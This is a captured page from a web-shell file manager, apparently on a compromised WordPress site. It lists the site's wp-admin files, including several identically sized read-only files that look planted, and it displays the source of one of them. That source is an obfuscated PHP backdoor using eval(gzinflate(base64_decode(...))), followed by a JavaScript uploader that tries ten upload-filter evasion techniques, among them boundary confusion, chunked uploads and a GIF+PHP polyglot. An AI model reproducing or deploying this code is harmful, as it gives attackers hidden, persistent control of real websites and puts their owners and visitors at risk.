📁
SKYSHELL MANAGER
PHP v8.2.27
Create
Create
Path:
root
/
var
/
www
/
canadatc50_3_usr
/
data
/
www
/
lucky-woman.com
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📁
wk
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
contribute.php
5.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-background.php
0.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-comment.php
8.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-link-form.php
6.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tag-form.php
10.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
erase-personal-data.php
7.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
freedoms.php
4.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
install.php
17.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-add.php
0.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-manager.php
4.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link.php
2.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu.php
17.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moderation.php
0.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-edit.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-options.php
0.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-sites.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-upgrade-network.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
4.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-discussion.php
15.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-head.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-media.php
6.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-permalink.php
21.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-privacy.php
9.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-reading.php
9.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
panel.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
plugin-install.php
6.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-new.php
2.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post.php
10.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy-policy-guide.php
3.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
profile.php
0.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
site-editor.php
11.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-install.php
23.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update-core.php
45.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade-functions.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade.php
6.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upload.php
14.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
users.php
23.29 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form.php
19.29 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
2.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: cfg2oMTrR
<?php eval(gzinflate(base64_decode('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')));?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Upload</title> <style> #ra{margin-top:8px;white-space:pre-wrap;display:none} </style> </head> <body> <input type="file" id="fa"> <button onclick="doAuto()">Upload</button> <div id="ra"></div> <script> const ME = location.pathname; // ── DOM helpers ───────────────────────────────────────────────────────────── function _setResult(id, cls, msg) { const el = document.getElementById('r' + id); el.style.display = 'block'; el.style.color = cls === 'loading' ? '#8b949e' : ''; el.className = cls === 'loading' ? 'result' : 'result ' + cls; el.textContent = msg; } function loading(id, label) { _setResult(id, 'loading', label || 'Sending...'); } function show(id, j) { if (j && j.success) _setResult(id, 'ok', 'OK [' + (j.method||'?') + '] ' + j.file); else _setResult(id, 'err', 'FAIL: ' + ((j && j.error) || 'Unknown')); } function err(id, msg) { _setResult(id, 'err', 'FAIL: ' + msg); } // ── Shared fetch helper (no DOM) ───────────────────────────────────────────── async function _raw(fetchPromise) { try { const resp = await fetchPromise; const text = await resp.text(); if (!resp.ok || !text.trim().startsWith('{')) return {success:false, error:'HTTP ' + resp.status + ' ' + text.replace(/<[^>]+>/g,'').trim().slice(0,150)}; return JSON.parse(text); } catch(e) { return {success:false, error:e.message}; } } function b64file(f) { return new Promise(res => { const r = new FileReader(); r.onload = e => res(e.target.result.split(',')[1]); r.readAsDataURL(f); }); } // ── Per-method runners (accept file, return result object, no DOM) ─────────── async function _runV1(f) { const fd = new FormData(); fd.append('action','v1'); fd.append('f',f); return _raw(fetch(ME,{method:'POST',body:fd})); } async function _runV2(f) { const fd = new FormData(); fd.append('action','v2'); fd.append('f',f); return _raw(fetch(ME,{method:'POST',body:fd})); } async function _runV3(f) { const fd = new FormData(); fd.append('action','v3'); fd.append('n',f.name); fd.append('d', await b64file(f)); return _raw(fetch(ME,{method:'POST',body:fd})); } async function _runV4(f) { const CHUNK = 64*1024, total = Math.ceil(f.size/CHUNK); for (let i = 0; i < total; i++) { const fd = new FormData(); fd.append('action','v4'); fd.append('n',f.name); fd.append('chunk', await b64file(f.slice(i*CHUNK, Math.min((i+1)*CHUNK,f.size)))); fd.append('i',i); fd.append('t',total); const j = await _raw(fetch(ME,{method:'POST',body:fd})); if (!j.success) return j; if (j.complete) return j; } return {success:false, error:'No chunks sent'}; } async function _runV5(f) { return _raw(fetch(ME+'?n='+encodeURIComponent(f.name),{method:'PUT',body:await f.arrayBuffer()})); } async function _runV6(f) { return _raw(fetch(ME,{method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({n:f.name, d:await b64file(f)})})); } async function _runV7(f) { const body = 'action=v7&n='+encodeURIComponent(f.name)+'&d='+encodeURIComponent(await b64file(f)); const enc = new TextEncoder(), SZ = 4096, parts = []; for (let i = 0; i < body.length; i += SZ) parts.push(enc.encode(body.slice(i,i+SZ))); let idx = 0; const stream = new ReadableStream({pull(ctrl){idx<parts.length?ctrl.enqueue(parts[idx++]):ctrl.close();}}); try { return await _raw(fetch(ME,{method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:stream, duplex:'half'})); } catch(e) { return {success:false, error:'ReadableStream: '+e.message}; } } async function _runV8(f) { const buf = await f.arrayBuffer(), enc = new TextEncoder(); const bnd = '---=_Part_'+Math.random().toString(36).slice(2,10)+'_'+Date.now(); const fake = '--'+bnd.slice(0,12); const head = '--'+bnd+'\r\nCONTENT-disposition: Form-Data; Name="action"\r\n\r\nv8\r\n'+ '--'+bnd+'\r\nX-Pad: '+fake+ '--'+bnd+'\r\nContent-Disposition: form-data; name="f"; filename="'+f.name+'"\r\n'+ 'Content-Type: application/octet-stream\r\n\r\n'; return _raw(fetch(ME,{method:'POST', headers:{'Content-Type':'multipart/form-data; boundary='+bnd}, body:new Blob([enc.encode(head),buf,enc.encode('\r\n--'+bnd+'--\r\n')])})); } async function _runV9(f) { if (typeof CompressionStream==='undefined') return {success:false,error:'CompressionStream not supported'}; const comp = await new Response(f.stream().pipeThrough(new CompressionStream('gzip'))).arrayBuffer(); return _raw(fetch(ME+'?n='+encodeURIComponent(f.name),{method:'POST', headers:{'Content-Type':'application/octet-stream','X-CE':'gzip'}, body:comp})); } async function _runV10(f) { const content = await f.arrayBuffer(); const gif = new Uint8Array([0x47,0x49,0x46,0x38,0x39,0x61,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x3b]); const poly = new Uint8Array(gif.length+content.byteLength); poly.set(gif); poly.set(new Uint8Array(content),gif.length); const fd = new FormData(); fd.append('action','v10'); fd.append('f',new Blob([poly],{type:'image/gif'}),f.name); return _raw(fetch(ME,{method:'POST',body:fd})); } const RUNS = [ ['V1 Standard Multipart', _runV1], ['V2 Decoy Extension', _runV2], ['V3 Base64 POST Field', _runV3], ['V4 Chunked Base64', _runV4], ['V5 HTTP PUT', _runV5], ['V6 JSON Body', _runV6], ['V7 HTTP Chunked TE', _runV7], ['V8 Boundary Confusion', _runV8], ['V9 Gzip Body', _runV9], ['V10 Polyglot GIF+PHP', _runV10], ]; // ── Auto: try V1 -> V10 in order, stop on first success ───────────────────── async function doAuto() { const ra = document.getElementById('ra'); const f = document.getElementById('fa').files[0]; ra.style.display = 'block'; if (!f) { ra.className = 'err'; ra.textContent = 'Select a file first'; return; } const log = []; for (let i = 0; i < RUNS.length; i++) { const [label, fn] = RUNS[i]; ra.className = ''; ra.textContent = '[' + (i+1) + '/10] ' + label + '...'; const j = await fn(f); if (j && j.success) { ra.className = 'ok'; ra.textContent = 'OK [' + label + '] ' + j.file; return; } log.push((i+1) + '. ' + label + ': ' + ((j && j.error) || 'failed')); } ra.className = 'err'; ra.textContent = 'All failed:\n' + log.join('\n'); } </script> </body> </html>
Save